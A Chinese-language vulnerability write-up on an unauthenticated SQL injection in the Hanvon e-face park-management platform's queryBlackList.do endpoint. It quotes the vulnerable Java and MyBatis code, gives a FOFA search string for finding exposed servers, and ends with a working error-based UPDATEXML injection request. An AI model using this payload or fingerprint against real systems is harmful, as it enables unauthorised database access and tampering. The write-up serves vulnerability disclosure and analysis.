漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件，集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块，广泛应用于政府、企业、监狱、学校、智慧社区等多个领域，实现无接触式快速通行，提升管理效率和安全性。其管理平台的 queryBlackList.do 接口存在 SQL 注入漏洞。攻击者可在无需认证的情况下，通过构造恶意请求参数注入恶意 SQL 语句，导致数据库信息泄露、数据篡改甚至系统权限提升，影响系统数据安全和完整性。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

直接看 BlackListController 里关于 queryBlackList 的实现

@ResponseBody
@RequestMapping(
    value = {"/queryBlackList.do"},
    method = {RequestMethod.GET}
)
public RequestJson queryBlackList(@RequestParam(required = false,value = "keys") String keys, @RequestParam(required = false,value = "begin") String begin, @RequestParam(required = false,value = "end") String end, @RequestParam(required = false,value = "page") Integer page, @RequestParam(required = false,value = "pageSize") Integer pageSize, @RequestParam(required = false,value = "columnKey") String columnKey, @RequestParam(required = false,value = "order") String order) {
    RequestJson requestJson = new RequestJson();
    BlackListParam blackListParam = new BlackListParam();

    try {
        if (page == null) {
            page = Constants.DEFAULT_START_PAGE_INDEX;
        }

        if (pageSize == null) {
            pageSize = Constants.PAGE_SIZE;
        }

        PageHelper.startPage(page, pageSize);
        blackListParam.setBegin(begin);
        blackListParam.setEnd(end);
        blackListParam.setColumnKey(columnKey);
        blackListParam.setOrder(order);
        blackListParam.setKeys(keys);
        List<BlackListConfigTpm> list = this.blackListAsm.queryBlackList(blackListParam);
        PageInfo<BlackListConfigTpm> info = new PageInfo(list);
        Map<String, Object> map = new HashMap();
        map.put("items", info.getList());
        map.put("numRows", info.getTotal());
        map.put("page", info.getPageNum());
        map.put("pageSize", info.getPageSize());
        requestJson = RequestJson.successResult(requestJson, map, getMessage("basics_query_success"));
    } catch (Exception e) {
        e.printStackTrace();
        String msg = getMessage("basics_go_wrong") + e.getLocalizedMessage();
        requestJson = RequestJson.errorResult(requestJson, msg);
    }

    return requestJson;
}

和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多，直接看对应的 mapper xml文件 BlackListDsm.xml

<select id="queryBlackList" parameterType="com.hanvon.iface.tpm.black_list.param.BlackListParam"
        resultMap="BaseResultMap">
    select
    bl.id, bl.ng_state,bl.ng_id_card, bl.ng_name, bl.ng_sex, bl.ng_plate_number, bl.ng_mobile, bl.ng_source,
    bl.ng_create_time, bl.ng_creator, bl.ng_photo_path, bl.ng_system_id, bl.ng_modify_time,bl.ng_remarks,
    su.sz_user_name as createName
    from black_list_config bl
    left join sys_user su on bl.ng_creator = su.ng_id
    where ng_state = 1
    <if test="keys != null">
        AND (
        ng_id_card like CONCAT('%',#{keys,jdbcType=VARCHAR},'%')
        OR ng_plate_number like CONCAT('%',#{keys,jdbcType=VARCHAR},'%')
        OR ng_mobile like CONCAT('%',#{keys,jdbcType=VARCHAR},'%')
        OR ng_name  like CONCAT('%',#{keys,jdbcType=VARCHAR},'%')
        )
    </if>
    <if test="begin != null and end !=null">
        AND ng_create_time BETWEEN #{begin} AND #{end}
    </if>

    ORDER BY
    <if test="order == null or order == ''">
        bl.ng_create_time desc
    </if>
    <if test="order != null and order != ''">
        ${columnKey} ${order}
    </if>

</select>

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中，导致攻击者可构造恶意输入执行任意 SQL 命令，造成SQL注入漏洞。

漏洞复现

GET /manage/systemBlackList/queryBlackList.do?recoToken=67mds2pxXQb&page=1&pageSize=10&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,(SELECT+(ELT(2920=2920,1))),0x7e),8357)) HTTP/1.1
Host: hanvon.mrxn.net

成功利用报错注入获取到数据版本号